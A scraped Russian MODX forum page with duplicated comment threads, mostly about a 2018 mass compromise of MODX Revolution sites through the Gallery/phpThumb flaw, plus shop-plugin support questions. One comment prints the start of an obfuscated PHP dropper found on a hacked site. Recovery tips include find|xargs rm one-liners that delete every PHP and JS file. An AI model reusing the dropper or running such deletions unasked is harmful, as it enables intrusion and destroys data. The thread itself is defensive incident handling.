Песочница

Blog by Fi1osof

Shopkeeper3 Адаптация списка товаров подкатегории

Вывод слайдера MIGX - Проблема

Помогите начинающему разобраться в механизме вывода MIGX.

Не работает tagmanager после переноса core из public_html

shopmodx - ошибки в работе магазина при обновлении с версии 2.2.10 на 2.6.5

В minishop 2 если нет под категорий то один шаблон,  если есть то другой.

Сделать на MODX копию существующего сайта

Расчет цены по персональному прайс листу /разработка сайта/.

Массовые взломы MODX Revolution

Javascript headless prisma-cms. CMS без внешнего оформления.

Извините, что задаю вопрос в комментарии, почему-то при создании топика не получается написать текст :)

Где можно посмотреть документацию по shopModx?

Добрый день! Извините, что задаю вопрос в комментарии, почему-то при создании топика не получается написать текст :) Где можно посмотреть документацию по shopModx?

Добрый день! Извините, что задаю вопрос в коммента

Ха, действительно пропал редактор в создании топика)) Поправлю сегодня вечером.

Документации по shopModx не было никогда. И уже и не будет точно (ибо теперь новый двиг магазина будет уже на JS, на MODX я больше ничего не пишу, а кроме меня его и некому было писать).

Добрый день! Ха, действительно пропал редактор в создании топика)) Поправлю сегодня вечером. Документации по shopModx не было никогда. И уже и не будет точно (ибо теперь новый двиг магазина будет уже на JS, на MODX я больше ничего не пишу, а кроме меня его и некому было писать).

Добрый день! Ха, действительно пропал редактор в с

Поправил редактор в новом топике.

Не реклама, просто на дешевых хостингах нормальное подспорье https://find-xss.net/monitoring/  

Не раз выручал мониторинг файловой системы.

Не реклама, просто на дешевых хостингах нормальное подспорье https://find-xss.net/monitoring/ Не раз выручал мониторинг файловой системы.

Не реклама, просто на дешевых хостингах нормальное

Мониторинг - это определение симптомов. К сожалению, далеко не все бэкапами обзаводятся. И когда мониторинг скажет, что сайт заражен, без бэкапов будет тяжело восстановиться.

Мониторинг - это определение симптомов. К сожалени

Жестко очень... Если на сервере недостаточно хорошо настроены политики (open_basedir для сайтов, отдельные права и т.п.), то через любой такой сайт заражаются все сайты на сервере.

Жестко очень... Если на сервере недостаточно хорош

Николай, здравствуйте, не смог восстановить старый аккаунт. Угроза действительно серьезная, у нас около 9 пострадавших сайтов, правда все почему-то на 2.5.х и 5.4-5.6. php. Обнаружили в пятницу, вирус спит, а потом заменяет содержимое всех .js файлов (сайт начинает на фишинговые и рекламные сайты редиректить) детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).

Николай, здравствуйте, не смог восстановить старый

2.5.1-pl тоже ломануть могли? 

" Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. 

" Мониторинг " - Список измененных файлов приходит

Одна из самых крупных катастроф с MODx Revo в истории?

Одна из самых крупных катастроф с MODx Revo в исто

>> " Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. 

Вот у меня только на одном из сайтов заменено содержимое более 2000 файлов. И чего мониторинг тут даст? Только одно: оперативное уведомление на счет того, что что-то на сайте изменилось. Но в восстановлении не поможет. Для восстановления очень полезен git. Конечно, бэкапы тоже очень помогают, но они не показывают что же было изменено. А git и поможет восстановить, и покажет где что изменилось (конечно же с учетом настроек .gitignore).

>> " Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. Вот у меня только на одном из сайтов заменено содержимое более 2000 файлов. И чего мониторинг тут даст? Только одно: оперативное уведомление на счет того, что что-то на сайте изменилось. Но в восстановлении не поможет. Для восстановления очень полезен git. Конечно, бэкапы тоже очень помогают, но они не показывают что же было изменено. А git и поможет восстановить, и покажет где что изменилось (конечно же с учетом настроек .gitignore).

>> " Мониторинг " - Список измененных файлов прихо

>>> Одна из самых крупных катастроф с MODx Revo в истории?

Не, было уже раньше, правда больше на Эво. Я думаю, дело в том, что технологии (и пропускная способность сети возросла сильно), и количество сайтов на MODX. Тем более, как тут же и говорят, вирус спал. То есть неделю (а то и больше) он просто заражал все, и только потом показался. Получилось эффектненько.

>>> Одна из самых крупных катастроф с MODx Revo в истории? Не, было уже раньше, правда больше на Эво. Я думаю, дело в том, что технологии (и пропускная способность сети возросла сильно), и количество сайтов на MODX. Тем более, как тут же и говорят, вирус спал. То есть неделю (а то и больше) он просто заражал все, и только потом показался. Получилось эффектненько.

>>> Одна из самых крупных катастроф с MODx Revo в 

<<< детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).
На некоторых сайтах лишних и инфецированных файлов были замечено больше тысячи. Если бэкап есть, то замечательно. Если нет бэкапа, но восстанавливать сайт как-то надо, можно сделать так:

с учетом того, что не было замечено заразы в базе данных, если у вас сайт делался просто на уровне MODX-овых шаблонов, сниппетов и ченков, то делаем так:

1. Делаем бэкап текущего сайта. Даже с вирусами, это все равно бэкап.

2. Сохраняем отдельно файл-конфиг core/config/config.inc.php

3. Удаляем на сайте все php-файлы. find -regex .*\.php -print0 | xargs -0 rm
Если JS-файлы тоже были заражены, их тоже надо удалить find -regex .*\.js -print0 | xargs -0 rm

4. Закидываем конфиг-файл обратно.

5. Накатываем и обновляем MODX.

6. В управлении компонентами переустанавливаем имеющиеся компоненты.

В большинстве случаев, даже если вы использовали какие-то сторонние js-библиотеки или типа того, их не составит труда найти в сети и залить на сайт.

<<< детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).
На некоторых сайтах лишних и инфецированных файлов были замечено больше тысячи. Если бэкап есть, то замечательно. Если нет бэкапа, но восстанавливать сайт как-то надо, можно сделать так: с учетом того, что не было замечено заразы в базе данных, если у вас сайт делался просто на уровне MODX-овых шаблонов, сниппетов и ченков, то делаем так: 1. Делаем бэкап текущего сайта. Даже с вирусами, это все равно бэкап. 2. Сохраняем отдельно файл-конфиг core/config/config.inc.php 3. Удаляем на сайте все php-файлы. find -regex .*\.php -print0 | xargs -0 rm
Если JS-файлы тоже были заражены, их тоже надо удалить find -regex .*\.js -print0 | xargs -0 rm 4. Закидываем конфиг-файл обратно. 5. Накатываем и обновляем MODX. 6. В управлении компонентами переустанавливаем имеющиеся компоненты. В большинстве случаев, даже если вы использовали какие-то сторонние js-библиотеки или типа того, их не составит труда найти в сети и залить на сайт.

<<< детектится просто, смотрим index.php на наличи

Спасибо за инструкции. Жизненно необходимая информация, если бэков не было. Я  частью, буквально за неделю сделал свежие бэки. Там вроде все чисто, тфу тфу) 

Поэтому решил полностью переутсановить сервер и выложить копии с моментальным обновлением до 2.6.5. Более эффективного метода не существует)

Спасибо за инструкции. Жизненно необходимая информация, если бэков не было. Я  частью, буквально за неделю сделал свежие бэки. Там вроде все чисто, тфу тфу) Поэтому решил полностью переутсановить сервер и выложить копии с моментальным обновлением до 2.6.5. Более эффективного метода не существует)

Спасибо за инструкции. Жизненно необходимая информ

>> Более эффективного метода не существует)

Если уязвимость на сайте есть, то переустановка сервера особо не поможет. Здесь же речь не о уязвимости на уровне серверов, а именно об уязвимости на уровне сайтов. Я сделал так:

1. На уровне nginx отключил все сайты. То есть сами конфиги лежат в /etc/nginx/sites-available, а на подключенные сайты симлинки на них в /etc/nginx/site-enabled. 

2. По одному вычищаю сайты и подключаю. При этом в каждый прописываю fastcgi_param PHP_VALUE open_basedir="/www/site_path/"; , то есть изоляция процессов в рамках конкретной директории.

Это не гарантирует отсутствие последующих взломов, но так зараза из взломанного сайта не распространится на другие. Таким образом легче будет проанализировать природу взлома, да и последствия меньше. 

>> Более эффективного метода не существует) Если уязвимость на сайте есть, то переустановка сервера особо не поможет. Здесь же речь не о уязвимости на уровне серверов, а именно об уязвимости на уровне сайтов. Я сделал так: 1. На уровне nginx отключил все сайты. То есть сами конфиги лежат в /etc/nginx/sites-available, а на подключенные сайты симлинки на них в /etc/nginx/site-enabled. 2. По одному вычищаю сайты и подключаю. При этом в каждый прописываю fastcgi_param PHP_VALUE open_basedir="/www/site_path/"; , то есть изоляция процессов в рамках конкретной директории. Это не гарантирует отсутствие последующих взломов, но так зараза из взломанного сайта не распространится на другие. Таким образом легче будет проанализировать природу взлома, да и последствия меньше.

>> Более эффективного метода не существует) Если у

Кажется я нашел на своем сервере самый старый вредоносный файл. Появился 19-го числа (большинство же взломов было зафиксировано с 20-го числа).

assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php

На вид очень похоже на то, что именно через этот файл и осуществлялся взлом, то есть уязвимость действительно в gallery была. 

$s=$_SERVER['DOCUMENT_ROOT'].'/assets/';$s1=$s.'images/';$fh=fopen($s1.'accesson.php','w');fwrite($fh,'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90.......

Кажется я нашел на своем сервере самый старый вредоносный файл. Появился 19-го числа (большинство же взломов было зафиксировано с 20-го числа). assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php С таким содержимым: На вид очень похоже на то, что именно через этот файл и осуществлялся взлом, то есть уязвимость действительно в gallery была.

Кажется я нашел на своем сервере самый старый вред

Нашел такой же файл:
assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php
Но взлома или какой другой активности не было замечено. 


Комментарий к топику Массовые взломы MODX Revolution

Взломы последней версии могли быть из-за Gallery. На текущий момент безопасная версия MODX - 2.6.5, безопасная версия Gallery - 1.7.1. Все доступно в репозиториях, нужно только вовремя обновиться и не затягивать с этим.

Взломы последней версии могли быть из-за Gallery. 

Да, у меня со вчера после обновления повторных взломов пока не замечено.

Да, у меня со вчера после обновления повторных взл

Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать.

Подробно лечение описывал у себя в блоге http://fstrange.ru/coder/php/lechit-modx-ot-virusa.html 

//connectors/system/phpthumb.php

//fstr patch CVE-2018-1000207
if(isset($_POST["cache_filename"]) && strpos($_POST["cache_filename"],".php") ) die();


//assets/components/gallery/connector.php

//fstr patch2 CVE-2018-1000207
if(isset($_POST["action"]) && $_POST["action"] =="web/phpthumb" && isset($_POST["f"]) && (strtolower($_POST["f"])=="php") ) die();

Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать. Подробно лечение описывал у себя в блоге http://fstrange.ru/coder/php/lechit-modx-ot-virusa.html

Есть простой патч, конкретно против этой уязвимост

Мой сайт взломали как раз 20 июля. Появились левые php в assets/images и в public_html, все скрипты в папке assets/js приобрели одинаковый малый размер... В общем, все как вы и описали. Восстановил из бэкапа, благо месяц назад делал. Проапгрейдил до версии  MODX-2.6.5, перенес core на уровень выше... Вопрос такой: при создании бэкапа хостер автоматически всем папкам выставляет атрибут 700, а файлам 600. Нужно ли менять? И не понял, команду find -type d -print0 |xargs -0 chmod 0550  из командной строки какой программы писать? И 0 - первая цифра атрибута - это для какой программы? В файловом менеджере хостера пишется просто 700, 600... 

Мой сайт взломали как раз 20 июля. Появились левые

core нет смысла переносить выше. Надо только запретить обращение к ней извне (чтобы запросы на core не могли слать). Здесь запросы идут на assets и connectors, их имеет смысл переименовать. Только надо симлинки для картинок настроить, чтобы 404-ых не схватить.

>> find -type d -print0 |xargs -0 chmod 0550

Это по ssh выполняется одной командой. find -type d -print0 находит все папки. -print0 здесь - учет пробелов в названиях файлов. |xargs - указывает, что с найденными файлами надо выполнить следующие за ним команды, в нашем случае смену прав. -0 здесь работает в паре с -print0 и тоже устанавливает учет пробелов в именах файлов.

Но пока на обновленных сайтах новых взломов не было, может и не стоит столь сложную операцию делать (настраивать права на файлы), иначе могут возникнуть сбои в работе сайта. 

И да, права выставляются хостером по умолчанию. Если все работает, то значит так и надо.

core нет смысла переносить выше. Надо только запретить обращение к ней извне (чтобы запросы на core не могли слать). Здесь запросы идут на assets и connectors, их имеет смысл переименовать. Только надо симлинки для картинок настроить, чтобы 404-ых не схватить. >> find -type d -print0 |xargs -0 chmod 0550 Это по ssh выполняется одной командой. find -type d -print0 находит все папки. -print0 здесь - учет пробелов в названиях файлов. |xargs - указывает, что с найденными файлами надо выполнить следующие за ним команды, в нашем случае смену прав. -0 здесь работает в паре с -print0 и тоже устанавливает учет пробелов в именах файлов. Но пока на обновленных сайтах новых взломов не было, может и не стоит столь сложную операцию делать (настраивать права на файлы), иначе могут возникнуть сбои в работе сайта. И да, права выставляются хостером по умолчанию. Если все работает, то значит так и надо.

core нет смысла переносить выше. Надо только запре

 Нашёл файлик core/components/model/modx/processors/system/config.js.php  - читать не даёт, весит значительно меньше исходника. У кого ещё так? 

Нашёл файлик core/components/model/modx/processors

Добрый день. Какая версия shopmodx стоит?

По поводу "доступ запрещён" - нужно в коннектор, к которому обращается JS корзины, в начало добавить строку

Добрый день. Какая версия shopmodx стоит? По поводу "доступ запрещён" - нужно в коннектор, к которому обращается JS корзины, в начало добавить строку

Добрый день. Какая версия shopmodx стоит? По повод

Вполне возможно, это поможет и со второй проблемой. Посмотрите, какой коннектор вызывается в запросе (это можно в DevTools сделать), и добавьте туда эту строку.

Вполне возможно, это поможет и со второй проблемой

https://yadi.sk/i/f2hRoQdT3ac3hn

Александр, Добрый день.

 версия shopmodx  shopmodx-0.2.0-beta https://prnt.sc/knpbu5 

 define('MODX_REQP', false);   не помогло https://cloud.mail.ru/public/FSQw/eMkDsdrNE 

посмотрите пожалуйста, правильно ли сделал

еще момент, в начале была ошибка 500 js в консоле /assets/components/basket/connectors/get_basket.php

require_once  dirname(dirname(dirname(dirname(dirname(__FILE__))))) . '/config/config.php'; 

require_once  dirname(dirname(dirname(dirname(dirname(__FILE__))))) . '/core/config/config.inc.php'; 

Может еще где  нужно config.php сменить

 Посмотрите, какой коннектор вызывается в запросе 

вызываются два  get_basket.php и при клике connector.php а затем get_basket.php пробовал размещать в обоих define('MODX_REQP', false);  тоже не помогло

Александр, Добрый день. версия shopmodx  shopmodx-0.2.0-beta https://prnt.sc/knpbu5 define('MODX_REQP', false);   не помогло https://cloud.mail.ru/public/FSQw/eMkDsdrNE посмотрите пожалуйста, правильно ли сделал еще момент, в начале была ошибка 500 js в консоле /assets/components/basket/connectors/get_basket.php require_once  dirname(dirname(dirname(dirname(dirname(__FILE__))))) . '/config/config.php'; заменил на require_once  dirname(dirname(dirname(dirname(dirname(__FILE__))))) . '/core/config/config.inc.php'; Может еще где  нужно config.php сменить Посмотрите, какой коннектор вызывается в запросе вызываются два  get_basket.php и при клике connector.php а затем get_basket.php пробовал размещать в обоих define('MODX_REQP', false);  тоже не помогло рПропоj

Александр, Добрый день. версия shopmodx  shopmodx-

Коннекторы менять не стоит

Конфиги тоже. Они на том же месте и остались. А они задают окружение.

Конфиги тоже. Они на том же месте и остались. А он

Тут ещё вирус прошёлся по сайтам, https://modxclub.ru/topics/massovyie-vzlomyi-modx-revolution-2792.html 

Возможно, он успел что-то порушить.

Тут ещё вирус прошёлся по сайтам, https://modxclub.ru/topics/massovyie-vzlomyi-modx-revolution-2792.html Возможно, он успел что-то порушить.

Тут ещё вирус прошёлся по сайтам, https://modxclub

это очень походит на вливание. у MODX это  config.inc.php 

config/config.php это очень походит на вливание. у MODX это  config.inc.php

config/config.php это очень походит на вливание. у

Александр, это точно не вирус.

Косяки вылезают при обновлении сайта, на старой версии 2.2.10 все ок.

Немного поковырялся в скриптах и обнаружил что если в /assets/components/basket/connectors/connector.php  

закомментировать $_REQUEST['ctx'] = 'web'; 

a в /connectors/index.php закрыть последние строчки  

То товар попадает в корзину, но это только если ты авторизован.

Еще в журнале ошибок при обновлении появляются одни и те-же ошибки

018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 644) Could not load class: Basket from basket.

[2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 1247) Problem getting service basket, instance of class Basket, from path /home/y/yakutur/public_html/core/components/basket/model/

[2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 644) Could not load class: modHybridAuth from modhybridauth.

[2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 1247) Problem getting service modHybridAuth, instance of class modHybridAuth, from path /home/y/yakutur/public_html/core/components/modhybridauth/model/

[2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 644) Could not load class: modxsite from modxsite.

[2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 1247) Problem getting service modxsite, instance of class modxsite, from path /home/y/yakutur/public_html/core/components/modxsite/model/

[2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 644) Could not load class: shopModx from shopmodx.

[2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 1247) Problem getting service shopModx, instance of class shopModx, from path /home/y/yakutur/public_html/core/components/shopmodx/model/

Александр, это точно не вирус. Косяки вылезают при обновлении сайта, на старой версии 2.2.10 все ок. Немного поковырялся в скриптах и обнаружил что если в /assets/components/basket/connectors/connector.php закомментировать $_REQUEST['ctx'] = 'web'; a в /connectors/index.php закрыть последние строчки /* if (!$included) { $modx->request->handleRequest(); } */ То товар попадает в корзину, но это только если ты авторизован. Еще в журнале ошибок при обновлении появляются одни и те-же ошибки 018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 644) Could not load class: Basket from basket. [2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 1247) Problem getting service basket, instance of class Basket, from path /home/y/yakutur/public_html/core/components/basket/model/ [2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 644) Could not load class: modHybridAuth from modhybridauth. [2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 1247) Problem getting service modHybridAuth, instance of class modHybridAuth, from path /home/y/yakutur/public_html/core/components/modhybridauth/model/ [2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 644) Could not load class: modxsite from modxsite. [2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 1247) Problem getting service modxsite, instance of class modxsite, from path /home/y/yakutur/public_html/core/components/modxsite/model/ [2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 644) Could not load class: shopModx from shopmodx. [2018-08-29 12:48:04] (ERROR @ /home/y/yakutur/public_html/core/xpdo/xpdo.class.php : 1247) Problem getting service shopModx, instance of class shopModx, from path /home/y/yakutur/public_html/core/components/shopmodx/model/

Александр, это точно не вирус. Косяки вылезают при

Про minishop вопросы лучше задавать на modx.pro

Спасибо Николаю Ланец за помощь в решение вопроса

 Да, у меня там тоже пачка файлов, все с датой изменения и временем одинаковым.

Да, у меня там тоже пачка файлов, все с датой изменения и временем одинаковым. https://yadi.sk/i/GbV7-lubX9HHyA

Да, у меня там тоже пачка файлов, все с датой изме

Добрый день. Столкнулся с такой же ошибкой. Николай, подскажи, в какую сторону смотреть?

Добрый день. Столкнулся с такой же ошибкой. Никола

Комментарий к топику Javascript headless prisma-cms. CMS без внешнего оформления.

Артем, судя по всему ты пытался отправить сообщение с мобильника. К сожалению, в используемом текстовом редакторе draft-js есть старая бага, проявляющаяся на некоторых сочетаниях "андроид+клавиатура+мобильный браузер". В результате кириллица не воспринимается и отправляется пустое сообщение (или неполное). Открыто несколько тикетов, вот собирательный: https://github.com/facebook/draft-js/issues/1895 

Надеюсь скоро поправят и проблема исчезнет. Пока что гарантировано сообщения отправляются только с компа или в латинице.

Артем, судя по всему ты пытался отправить сообщение с мобильника. К сожалению, в используемом текстовом редакторе draft-js есть старая бага, проявляющаяся на некоторых сочетаниях "андроид+клавиатура+мобильный браузер". В результате кириллица не воспринимается и отправляется пустое сообщение (или неполное). Открыто несколько тикетов, вот собирательный: https://github.com/facebook/draft-js/issues/1895 Надеюсь скоро поправят и проблема исчезнет. Пока что гарантировано сообщения отправляются только с компа или в латинице.

Артем, судя по всему ты пытался отправить сообщени

Остается только решить вопрос как обновлять текущего пользователя - не понял, а в чем вопрос тогда? Использовать ли для этого процессоры?

Остается только решить вопрос как обновлять текуще

Анатолий, сорри, нет четкой инструкции на это. Чтобы помочь, пришлось лезть на сайт, это, соответственно, уже за деньги. Проблема в основном из-за того, что в какой-то момент MODX поменяли работу админ-контроллеров и некоторые админ-страницы компонентов поломались. Необходимо руками лезть.

Анатолий, сорри, нет четкой инструкции на это. Что

Наверное, просьба уже не актуальна. Но не в этом суть. 

Для тех, кто будет искать подобные решения, я думаю, что нужно понять одну простую штуку - если что-то не работает, значит этот что-то сделано неправильно. Я в таких случаях просто убираю неработающее, продумываю структуру вновь и переписываю все заново.

Наверное, просьба уже не актуальна. Но не в этом суть. Для тех, кто будет искать подобные решения, я думаю, что нужно понять одну простую штуку - если что-то не работает, значит этот что-то сделано неправильно. Я в таких случаях просто убираю неработающее, продумываю структуру вновь и переписываю все заново. Обычно помогает :)

Наверное, просьба уже не актуальна. Но не в этом с

Николай, это очень интересный проект! Буду внимательно следить за его развитием. 

Николай, это очень интересный проект! Буду внимательно следить за его развитием. Желаю успехов!